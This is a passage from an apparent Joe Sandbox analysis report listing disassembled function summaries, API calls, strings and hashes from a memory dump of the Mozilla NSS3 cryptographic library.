PR_GetEnvSecure.NSS3(NSPR_FD_CACHE_SIZE_HIGH), ref: 6BA319CA
PR_NewLock.NSS3 ref: 6BA31A17

Part of subcall function 6BB098D0: calloc.MOZGLUE(00000001,00000084,6BA30936,00000001,?,6BA3102C), ref: 6BB098E5

PR_NewLock.NSS3 ref: 6BA31A21

Part of subcall function 6BB098D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6BB09946
Part of subcall function 6BB098D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6B9C16B7,00000000), ref: 6BB0994E
Part of subcall function 6BB098D0: free.MOZGLUE(00000000), ref: 6BB0995E

PR_NewCondVar.NSS3(00000000), ref: 6BA31A2C

Part of subcall function 6BA2BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6BA321BC), ref: 6BA2BB8C

GetStdHandle.KERNEL32(000000F6), ref: 6BA31A3B

Part of subcall function 6B9C40C0: malloc.MOZGLUE(00000018,00000000,00000000,?,6BA31A48), ref: 6B9C40D9
Part of subcall function 6B9C40C0: malloc.MOZGLUE(0000001C,6BA31A48), ref: 6B9C40EC

GetStdHandle.KERNEL32(000000F5), ref: 6BA31A6F

Part of subcall function 6B9C40C0: PR_Lock.NSS3(00000000,00000000,?,6BA31A48), ref: 6B9C4128
Part of subcall function 6B9C40C0: PR_Unlock.NSS3(6BA31A48), ref: 6B9C4140
Part of subcall function 6B9C40C0: free.MOZGLUE(00000000), ref: 6B9C414B
Part of subcall function 6B9C40C0: PR_Unlock.NSS3(6BA31A48), ref: 6B9C4178

GetStdHandle.KERNEL32(000000F4), ref: 6BA31AA3
WSAStartup.WSOCK32(00000101,?), ref: 6BA31B00
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000), ref: 6BA31B27
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000), ref: 6BA31B40
PR_SetError.NSS3(FFFFE890,00000000), ref: 6BA31B80
PR_SetError.NSS3(FFFFE890,00000000), ref: 6BA31B94
PR_SetError.NSS3(FFFFE890,00000000), ref: 6BA31BA8

Strings

NSPR_FD_CACHE_SIZE_LOW, xrefs: 6BA319B6
NSPR_FD_CACHE_SIZE_HIGH, xrefs: 6BA319C5

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Error$HandleLockUnlock$CriticalSectionSecureatoicallocfreemalloc$CondCountEnterInitializeLastSpinStartupValuegetenv
String ID: NSPR_FD_CACHE_SIZE_HIGH$NSPR_FD_CACHE_SIZE_LOW
API String ID: 1503490954-91517431
Opcode ID: f6e0292a48ed69b537f976e19b7538c2d0fddf6046596de3d6c61ca788d5c0e5
Instruction ID: 02b07c35b8a25446796f99ebc5bf3e588913dd05235f673a1c44a506ac6d99f6
Opcode Fuzzy Hash: f6e0292a48ed69b537f976e19b7538c2d0fddf6046596de3d6c61ca788d5c0e5
Instruction Fuzzy Hash: BA51D6B5D002309FDF109F6DD94667A7BE8EB06B54F08052AE815CB351EB3DD880CB91

Function 6BA44AF0 Relevance: 27.4, APIs: 18, Instructions: 355memorystringthreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,?,6BA81444,?,?,00000000,?,?), ref: 6BA44BD4

Part of subcall function 6BA80C90: PR_SetError.NSS3(00000000,00000000,6BA81444,?,00000001,?,00000000,00000000,?,?,6BA81444,?,?,00000000,?,?), ref: 6BA80CB3

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6BA81444), ref: 6BA44B87
memcpy.VCRUNTIME140(00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BA44BA5

Part of subcall function 6BA988E0: TlsGetValue.KERNEL32(00000000,?,?,6BAA08AA,?), ref: 6BA988F6
Part of subcall function 6BA988E0: EnterCriticalSection.KERNEL32(?,?,?,?,6BAA08AA,?), ref: 6BA9890B
Part of subcall function 6BA988E0: PR_NotifyCondVar.NSS3(?,?,?,?,?,6BAA08AA,?), ref: 6BA98936
Part of subcall function 6BA988E0: PR_Unlock.NSS3(?,?,?,?,?,6BAA08AA,?), ref: 6BA98940

PR_SetError.NSS3(FFFFE02A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BA44DF5
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?), ref: 6BA44B94

Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA10F3
Part of subcall function 6BAA10C0: EnterCriticalSection.KERNEL32(?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA110C
Part of subcall function 6BAA10C0: PL_ArenaAllocate.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1141
Part of subcall function 6BAA10C0: PR_Unlock.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1182
Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA119C

free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6BA81444,?), ref: 6BA44BC2
PR_GetCurrentThread.NSS3(?,?,?,?,?,00000000,00000000), ref: 6BA44BEF
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6BA81444), ref: 6BA44C27
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6BA81444), ref: 6BA44C42
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BA44D5A
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6BA44D67
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6BA44D78
PR_SetError.NSS3(FFFFE001,00000000), ref: 6BA44DE4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BA44E4C
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6BA44E5B
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6BA44E6C

Part of subcall function 6BA44880: PR_SetError.NSS3(FFFFE005,00000000), ref: 6BA448A2

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6BA44EF1
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6BA44F02

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Error$Arena$Alloc_Item_Valuememcpystrlen$CriticalEnterSectionUnlockZfree$AllocateArena_CompareCondCurrentFreeNotifyThreadfree
String ID:
API String ID: 24311736-0
Opcode ID: bcb3ddbe03015b65cd4ddbb9343d937dd7f6966364624fa8756a5e7d359b95b9
Instruction ID: 680fb4db0678f030ff0e90c2e3a1eb7ed93f9f72b513c17300417d015a0e780e
Opcode Fuzzy Hash: bcb3ddbe03015b65cd4ddbb9343d937dd7f6966364624fa8756a5e7d359b95b9
Instruction Fuzzy Hash: 2FC15FB5E003159FEF00DF64D982B9F77F8AF09748F040469E815A7341EB79E9948BA2

Function 6BA6D8F0 Relevance: 27.4, APIs: 18, Instructions: 354COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000010,00000054,?,00000008,00000054,00000000), ref: 6BA6DA45
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,6BA6D06D), ref: 6BA6DA59
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6BA6D06D), ref: 6BA6DA89
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6BA6D06D), ref: 6BA6DA9D
TlsGetValue.KERNEL32 ref: 6BA6DB0A
EnterCriticalSection.KERNEL32(?), ref: 6BA6DB1E
TlsGetValue.KERNEL32 ref: 6BA6DB43
EnterCriticalSection.KERNEL32(?), ref: 6BA6DB57
TlsGetValue.KERNEL32(00000000,?,6BA6D06D), ref: 6BA6DB7C
EnterCriticalSection.KERNEL32(?,?,6BA6D06D), ref: 6BA6DB90
PR_Unlock.NSS3(?), ref: 6BA6DBBD
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6BA6D06D), ref: 6BA6DC21
PR_SetError.NSS3(00000000,00000000,?,?,?,?), ref: 6BA6DC39
PK11_DoesMechanism.NSS3(?,?,?,?,?,00000000,?,6BA6D06D), ref: 6BA6DC64
TlsGetValue.KERNEL32(?,?,?,00000000,?,6BA6D06D), ref: 6BA6DC84
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6BA6D06D), ref: 6BA6DC98
PK11_DoesMechanism.NSS3(?,CE53436C,?,?,?,?,?,00000000,?,6BA6D06D), ref: 6BA6DCE6
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6BA6D06D), ref: 6BA6DD01

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalEnterSectionValue$Unlock$DoesK11_Mechanism$Error
String ID:
API String ID: 3890939128-0
Opcode ID: 9be73f7b4a8cffe9933d5557879b1b19f5e0f6d6fcd2d912cd90146eb0cde9dd
Instruction ID: ab96cd87b3daa0293528cdc8f234507b71a8b8c711d3baad8d39e6c7b6812883
Opcode Fuzzy Hash: 9be73f7b4a8cffe9933d5557879b1b19f5e0f6d6fcd2d912cd90146eb0cde9dd
Instruction Fuzzy Hash: 65E1C0B1540604DFDB209F28C885B66B7F0FF0A394F248968D99687661F779F8D4CB81

Function 6BAD28C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6BAD5B40: PR_GetIdentitiesLayer.NSS3 ref: 6BAD5B56

TlsGetValue.KERNEL32 ref: 6BAD290A
EnterCriticalSection.KERNEL32(00000001), ref: 6BAD291E
TlsGetValue.KERNEL32 ref: 6BAD2937
EnterCriticalSection.KERNEL32(00000001), ref: 6BAD294B
PR_EnterMonitor.NSS3(?), ref: 6BAD2966
PR_EnterMonitor.NSS3(?), ref: 6BAD29AC
PR_ExitMonitor.NSS3(?), ref: 6BAD29D1
PR_EnterMonitor.NSS3(?), ref: 6BAD29F0
PR_EnterMonitor.NSS3(?), ref: 6BAD2A15
PR_EnterMonitor.NSS3(?), ref: 6BAD2A37
PR_ExitMonitor.NSS3(?), ref: 6BAD2A61
PR_ExitMonitor.NSS3(?), ref: 6BAD2A78
PR_ExitMonitor.NSS3(?), ref: 6BAD2A8F
PR_ExitMonitor.NSS3(?), ref: 6BAD2AA6

Part of subcall function 6BB09440: TlsGetValue.KERNEL32 ref: 6BB0945B
Part of subcall function 6BB09440: TlsGetValue.KERNEL32 ref: 6BB09479
Part of subcall function 6BB09440: EnterCriticalSection.KERNEL32 ref: 6BB09495
Part of subcall function 6BB09440: TlsGetValue.KERNEL32 ref: 6BB094E4
Part of subcall function 6BB09440: TlsGetValue.KERNEL32 ref: 6BB09532
Part of subcall function 6BB09440: LeaveCriticalSection.KERNEL32 ref: 6BB0955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6BAD2AF9
free.MOZGLUE(?), ref: 6BAD2B16
PR_Unlock.NSS3(?), ref: 6BAD2B6D
PR_Unlock.NSS3(?), ref: 6BAD2B80

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: a62ac90cc8d6e14f1d0ce7a7860dfd8167c87d2614d7656c27a2f44084ec88f3
Instruction ID: d686509abf947d746f96e45fa008ef74ec1672a4f0a243c5ed1d407212c29351
Opcode Fuzzy Hash: a62ac90cc8d6e14f1d0ce7a7860dfd8167c87d2614d7656c27a2f44084ec88f3
Instruction Fuzzy Hash: 098196B59007049FEF209F39EC4679BB7E5AF45308F04492CE89AC7211EB3AE555CB92

Function 6BA99890 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 273COMMON

Download Yara Rule

APIs

PORT_ArenaGrow_Util.NSS3(?,?,00000010,?,?,?,?,00000000,00000010,?,6BA92403,00000000,00000000), ref: 6BA99963
PORT_ArenaGrow_Util.NSS3(00000000,00000000,00000000,00000007,00000000,00000010,?,6BA92403,00000000,00000000), ref: 6BA998C0

Part of subcall function 6BAA1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6BA4895A,00000000,?,00000000,?,00000000,?,00000000,?,6BA3F599,?,00000000), ref: 6BAA136A
Part of subcall function 6BAA1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6BA4895A,00000000,?,00000000,?,00000000,?,00000000,?,6BA3F599,?,00000000), ref: 6BAA137E
Part of subcall function 6BAA1340: PL_ArenaGrow.NSS3(?,6BA3F599,?,00000000,?,6BA4895A,00000000,?,00000000,?,00000000,?,00000000,?,6BA3F599,?), ref: 6BAA13CF
Part of subcall function 6BAA1340: PR_Unlock.NSS3(?,?,6BA4895A,00000000,?,00000000,?,00000000,?,00000000,?,6BA3F599,?,00000000), ref: 6BAA145C

malloc.MOZGLUE(00000007,00000000,00000010,?,6BA92403,00000000,00000000), ref: 6BA998D6
free.MOZGLUE(00000000), ref: 6BA99B90

Strings

pkcs11:, xrefs: 6BA998F5
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=&, xrefs: 6BA99903, 6BA999AE
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=/?|, xrefs: 6BA99A53, 6BA99AF7

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Arena$Grow_Util$CriticalEnterGrowSectionUnlockValuefreemalloc
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=&$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=/?|$pkcs11:
API String ID: 1150520530-890694778
Opcode ID: cc3e2a430d340ffbcd177d3594808de29973340cb49d1d9d34d64e0719376fed
Instruction ID: 5c8b244bc308339070945a238eb849d259048e473e6f96bf3534c4acb27cbebe
Opcode Fuzzy Hash: cc3e2a430d340ffbcd177d3594808de29973340cb49d1d9d34d64e0719376fed
Instruction Fuzzy Hash: 19A1A070E10206EFDF04EFA9EA80ABE77F5EF45358F044058D414A7282E73D9A81DBA1

Function 6BA3F850 Relevance: 26.5, APIs: 9, Strings: 6, Instructions: 262COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE004,00000000), ref: 6BA3F86F

Part of subcall function 6BAEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6BAEC2BF

PR_smprintf.NSS3(%lu,?), ref: 6BA3F899
PR_smprintf.NSS3(%s.%lu,00000000,?), ref: 6BA3FA4E
PR_smprintf.NSS3(%s.%llu,00000000,00000000,00000000), ref: 6BA3FAA2
PR_smprintf.NSS3(%s.UNSUPPORTED,00000000), ref: 6BA3FAB6
free.MOZGLUE(00000000), ref: 6BA3FAC1
PR_smprintf.NSS3(OID.UNSUPPORTED), ref: 6BA3FAD3
PR_smprintf.NSS3(OID.%llu.%llu,00000000,?,00000000,FFFFFFD8,00000000,00000000,00000028,00000000), ref: 6BA3FB4B

Strings

OID.%llu.%llu, xrefs: 6BA3FB46
%s.UNSUPPORTED, xrefs: 6BA3FAB1
OID.%lu.%lu, xrefs: 6BA3FA7D
OID.UNSUPPORTED, xrefs: 6BA3FACE
%s.%lu, xrefs: 6BA3FA49
%s.%llu, xrefs: 6BA3FA9D

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: R_smprintf$ErrorValuefree
String ID: %s.%llu$%s.%lu$%s.UNSUPPORTED$OID.%llu.%llu$OID.%lu.%lu$OID.UNSUPPORTED
API String ID: 682930370-3523515424
Opcode ID: de87b555319059edaa0dc8d9e996d3bb286a0e171bc8ff2730f003b37b1263ee
Instruction ID: b49c74de3cd6827830551324f6cf8bd81610f912302e26d3cc4486c5fa6ddea8
Opcode Fuzzy Hash: de87b555319059edaa0dc8d9e996d3bb286a0e171bc8ff2730f003b37b1263ee
Instruction Fuzzy Hash: DB814A72E240715BEF084B7D8C6677EBBA29BC5300F1841BEE466DB345E67AC84187A1

Function 6BA498E0 Relevance: 24.3, APIs: 16, Instructions: 280stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6BA606A0: TlsGetValue.KERNEL32 ref: 6BA606C2
Part of subcall function 6BA606A0: EnterCriticalSection.KERNEL32(?), ref: 6BA606D6
Part of subcall function 6BA606A0: PR_Unlock.NSS3 ref: 6BA606EB

PR_SetError.NSS3(FFFFE018,00000000,?,?,?,6BA42D6B,?,?,00000000), ref: 6BA49BA9

Part of subcall function 6BA61750: PR_EnterMonitor.NSS3(?,?,00000000,00000000,?,6BA4991E,00000000,00000000,?,?,?,6BA42D6B,?,?,00000000), ref: 6BA61769
Part of subcall function 6BA61750: PR_ExitMonitor.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6BA42D6B,?,?,00000000), ref: 6BA6180C

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,?,?,?,?,6BA42D6B,?,?,00000000), ref: 6BA49930
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,6BA42D6B,?,?,00000000), ref: 6BA4995D
memcpy.VCRUNTIME140(00000000,?,00000001,?,?,?,?,?,?,?,?,6BA42D6B,?,?,00000000), ref: 6BA4997E
TlsGetValue.KERNEL32(?,?,?,?,?,6BA42D6B,?,?,00000000), ref: 6BA499AD
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,6BA42D6B,?,?,00000000), ref: 6BA499C4
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6BA42D6B,?,?,00000000), ref: 6BA499E2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6BA42D6B), ref: 6BA49A1F
PK11_GetInternalKeySlot.NSS3(?,?,?,?,?,?,?,?,6BA42D6B,?,?,00000000), ref: 6BA49A27
TlsGetValue.KERNEL32 ref: 6BA49AE1
EnterCriticalSection.KERNEL32(00000000), ref: 6BA49AF5
PR_Unlock.NSS3 ref: 6BA49B11
TlsGetValue.KERNEL32 ref: 6BA49B3B
EnterCriticalSection.KERNEL32(00000000), ref: 6BA49B4F
PR_Unlock.NSS3 ref: 6BA49B72
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6BA49BC7

Part of subcall function 6BA589E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6BA588AE,-00000008), ref: 6BA58A04
Part of subcall function 6BA589E0: EnterCriticalSection.KERNEL32(?), ref: 6BA58A15
Part of subcall function 6BA589E0: memset.VCRUNTIME140(6BA588AE,00000000,00000132), ref: 6BA58A27
Part of subcall function 6BA589E0: PR_Unlock.NSS3(?), ref: 6BA58A35

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Enter$CriticalSectionUnlockValue$ErrorMonitor$ExitInternalItem_K11_SlotUtilZfreememcpymemsetstrcmpstrlen
String ID:
API String ID: 568628329-0
Opcode ID: 083e846274634558c4f585c6066e7b79ed1d59b85176d563365bb876b1c97cdb
Instruction ID: 3b30ebffb158ee93f552afbf5150b386339af67f573a753c03ec6470016d99c7
Opcode Fuzzy Hash: 083e846274634558c4f585c6066e7b79ed1d59b85176d563365bb876b1c97cdb
Instruction Fuzzy Hash: 129194B2D001159FEF119F75DE42AAE77A8EF45318F044164EC0497212FB3AD9A58BD1

Function 6BA55AE0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6BA55C1E
PR_CallOnce.NSS3(6BBA2AA4,6BAA12D0), ref: 6BA55C43
PL_FreeArenaPool.NSS3(?), ref: 6BA55C5D
PORT_NewArena_Util.NSS3(00000800), ref: 6BA55C8C
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6BB6A540,?), ref: 6BA55CAB
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6BA55CBE
PR_SetError.NSS3(FFFFE006,00000000), ref: 6BA55CCF
PL_FinishArenaPool.NSS3(?), ref: 6BA55CF2
HASH_GetHashTypeByOidTag.NSS3 ref: 6BA55D00
SECOID_FindOID_Util.NSS3(?), ref: 6BA55D16
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6BA55D30
HASH_GetHashTypeByOidTag.NSS3 ref: 6BA55D3A

Strings

security, xrefs: 6BA55C18

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$ArenaArena_FreePool$HashType$CallDecodeErrorFindFinishInitItem_OnceQuick
String ID: security
API String ID: 3817386848-3315324353
Opcode ID: d59920b43eac3e341826d24b9286e15efa900dd140692e2aa2b9c6e1fafa9265
Instruction ID: 58390de8fe4757cd07b60846352d058fa7652a3a2ae264ad69f265bc73b7ff01
Opcode Fuzzy Hash: d59920b43eac3e341826d24b9286e15efa900dd140692e2aa2b9c6e1fafa9265
Instruction Fuzzy Hash: 0551B2B7800215AAEF109F68ED85B6A73A4AF02704F580476EA0196241F739DBB48F52

Function 6BA71800 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 169memoryCOMMON

Download Yara Rule

APIs

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6BA71860
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6BA709BF), ref: 6BA71897
memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6BA718AA
memcpy.VCRUNTIME140(?,?,?), ref: 6BA718C4
PK11_ImportDataKey.NSS3(00000000,0000402B,00000004,0000010C,?,00000000), ref: 6BA7193F
PK11_DeriveWithTemplate.NSS3 ref: 6BA71979
PK11_ExtractKeyValue.NSS3(00000000), ref: 6BA71988
PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6BA709BF,psk_id_hash,0000000B), ref: 6BA7199F
PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6BA709BF,psk_id_hash), ref: 6BA719A8

Part of subcall function 6BA8ADC0: TlsGetValue.KERNEL32(?,6BA6CDBB,?,6BA6D079,00000000,00000001), ref: 6BA8AE10
Part of subcall function 6BA8ADC0: EnterCriticalSection.KERNEL32(?,?,6BA6CDBB,?,6BA6D079,00000000,00000001), ref: 6BA8AE24
Part of subcall function 6BA8ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6BA6D079,00000000,00000001), ref: 6BA8AE5A
Part of subcall function 6BA8ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6BA6CDBB,?,6BA6D079,00000000,00000001), ref: 6BA8AE6F
